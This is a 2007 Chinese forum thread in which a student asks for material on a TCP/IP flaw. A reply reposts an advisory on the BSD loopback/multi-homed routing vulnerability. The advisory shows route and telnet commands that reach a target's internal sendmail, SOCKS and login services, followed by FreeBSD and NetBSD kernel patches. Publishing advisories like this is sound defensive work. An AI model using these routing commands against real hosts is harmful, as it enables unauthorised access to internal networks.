风云小站 » 『 求助专区 』 » 谁帮我找找关于TCP/IP缺陷方面的资料
本页主题: 谁帮我找找关于TCP/IP缺陷方面的资料 打印 | 加为IE收藏 | 复制链接 | 收藏主题 | 上一主题 | 下一主题

水心
心情驿站
特殊贡献奖
级别: 论坛版主


精华: 0
发帖: 4158
威望: 732 点
风云币: 233809 元
专家分: 3 分
在线时间:1361(小时)
注册时间:2006-12-03
最后登录:2008-04-29

 谁帮我找找关于TCP/IP缺陷方面的资料

管理提醒:
本帖被 cai504 执行锁定操作(2007-04-02)
针对TCP/IP的任一缺陷,分析其原理,且提出改进建议。

谁能帮忙找些资料,谢谢各位啦,明天交作业啦



自行解决
[ 此贴被asolory在2007-04-02 15:14重新编辑 ]
顶端 Posted: 2007-04-02 14:40 | [楼 主]
笨笨鱼
黄鱼党|党魁
优秀斑竹奖 幽默大师奖 诚信交易勋章
级别: 管理员


精华: 3
发帖: 17755
威望: 10066 点
风云币: 79088 元
专家分: 5 分
论坛群: ☆黄鱼党☆
在线时间:2904(小时)
注册时间:2006-06-03
最后登录:2024-04-12

 

百度了 一下  不知道有没有用

TCP/IP堆栈中的路由漏洞 (BSD,缺陷)
 
(转自安络科技)

涉及程序:
LOOPBACK 和 MULTI-HOMED
 
描述:
TCP/IP 堆栈中的 LOOPBACK 和 MULTI-HOMED 路由漏洞
 
详细:
在 TCP/IP 堆栈中存在一个漏洞:被用来测试回路或网络接口的信息包即使在机器被配置成不允许路由时也能通过其它接口获得路由。这意味着这些被设计成仅用来在机器内部起作用而对外部不可用的服务能被利用来为外部提供服务。从而可通过缓冲区溢出威胁到主机或相邻网络。

****以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负****


假设213.129.64.X代表公共网,172.16.X.X代表内部私人主机。服务器213.129.64.1在25号端口运行SENDAMIL,为当地程序提供SMTP服务。攻击者在213.129.64.2上。
213.129.64.2# route delete 127.0.0.1
delete host 127.0.0.1
213.129.64.2# route add 127.0.0.1 213.129.64.1
add host 127.0.0.1 gateway 213.129.64.1
213.129.64.2# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 eeek.woodyland.not ESMTP sendmail blah blah blah
若213.129.64.1仅对其内部网172.16.1.1运行SOCKS服务:
213.129.64.2# route add 172.16.1.1 213.129.64.1
213.129.64.2#add host 172.16.1.1: gateway 213.129.64.1
213.129.64.2# telnet 172.16.1.1 1080
Trying 172.16.1.1...
Connected to 172.16.1.1.
Escape character is '^]'.
213.129.64.2# export SOCKS_SERVER=172.16.1.1
213.129.64.2# rtelnet 172.16.1.2
Trying 172.16.1.2...
Connected to kerpow.woodyland.not  Escape character is '^]'.
02/02/01 22:25:32 on /dev/con1
Last login: 02/02/01 21:22:54 on /dev/con1
login:

受影响系统:
 FreeBSD
 OpenBSD
 NetBSD

 
解决方案:
FreeBSD4.2 已添加补丁:
--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@


                          ip_fw_fwd_addr->sin_addr.s_addr)
                goto ours;
#else
- if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+ if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+ && (ia->ia_ifp == m->m_pkthdr.rcvif
+ || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
                goto ours;
#endif
          if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{

OpenBSD:尚未推出补丁。

NetBSD: 请将下面的补丁打入 sys/netinet/ip_input.c
*** ip_input.c 2001/03/01 16:31:39 1.128
--- ip_input.c 2001/03/02 02:05:36 1.129
***************
*** 416,421 ****
--- 416,428 ----
    if (IN_MULTICAST(ip->ip_src.s_addr)) {
          /* XXX stat */
          goto bad;
+ }
+
+ /* 127/8 must not appear on wire - RFC1122 */
+ if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+ (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+ if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+ goto bad;
    }


    if (in_cksum(m, hlen) != 0) { 
本帖最近评分记录:
  • 风云币:+3(cai504) 您的贴子很精彩!希望很
  • 顶端 Posted: 2007-04-02 14:46 | 1 楼
    水心
    心情驿站
    特殊贡献奖
    级别: 论坛版主


    精华: 0
    发帖: 4158
    威望: 732 点
    风云币: 233809 元
    专家分: 3 分
    在线时间:1361(小时)
    注册时间:2006-12-03
    最后登录:2008-04-29

     

    谢谢,就是偶都看不懂,要是有简单点的就好了
    顶端 Posted: 2007-04-02 14:48 | 2 楼
    powerday
    助人为乐奖 特殊贡献奖
    级别: 禁止发言


    精华: 0
    发帖: 12979
    威望: 4411 点
    风云币: 30799 元
    专家分: 7 分
    论坛群: 管理团队
    在线时间:2052(小时)
    注册时间:2006-05-28
    最后登录:2017-12-29

     

    用户被禁言,该主题自动屏蔽!
    顶端 Posted: 2007-04-02 15:03 | 3 楼
    水心
    心情驿站
    特殊贡献奖
    级别: 论坛版主


    精华: 0
    发帖: 4158
    威望: 732 点
    风云币: 233809 元
    专家分: 3 分
    在线时间:1361(小时)
    注册时间:2006-12-03
    最后登录:2008-04-29

     

    Quote:
    引用第3楼powerday于2007-04-02 15:03发表的  :
    tcp/ip协议的三次握手~~
    利用这个原理,DDOS攻击变得很是可怕!

    谢谢,我继续找找
    顶端 Posted: 2007-04-02 15:14 | 4 楼
    帖子浏览记录 版块浏览记录
    风云小站 » 『 求助专区 』
    感谢,曾经的版主
    Total 0.008827(s) query 6, Time now is:11-06 03:37, Gzip enabled 渝ICP备20004412号-1

    Powered by PHPWind v6.3.2 Certificate Code © 2003-07 PHPWind.com Corporation
    Skin by Chen Bo